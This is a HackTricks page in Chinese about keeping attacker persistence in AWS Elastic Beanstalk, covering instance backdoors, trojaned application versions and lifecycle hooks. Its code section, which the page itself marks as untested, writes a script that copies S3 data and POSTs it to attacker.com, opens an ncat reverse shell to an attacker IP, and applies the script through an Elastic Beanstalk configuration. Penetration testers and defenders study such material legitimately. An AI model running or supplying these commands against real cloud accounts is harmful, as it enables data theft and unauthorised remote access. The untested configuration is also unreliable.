AWS - Elastic Beanstalk Persistence

支持 HackTricks

Elastic Beanstalk

更多信息请查看:

AWS - Elastic Beanstalk Enum

实例中的持久性

为了在 AWS 账户中保持持久性,可以在实例内部引入一些持久性机制(cron job, ssh key...),这样攻击者就能够访问它并从元数据服务中窃取 IAM 角色凭证

版本中的后门

攻击者可以在 S3 仓库中的代码中植入后门,使其始终执行其后门和预期代码。

新的后门版本

攻击者可以部署一个新的后门版本的应用程序,而不是更改当前版本的代码。

滥用自定义资源生命周期钩子

TODO: 测试

Elastic Beanstalk 提供生命周期钩子,允许您在实例配置和终止期间运行自定义脚本。攻击者可以配置生命周期钩子以定期执行一个脚本,该脚本可以窃取数据或保持对 AWS 账户的访问

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
支持 HackTricks

Last updated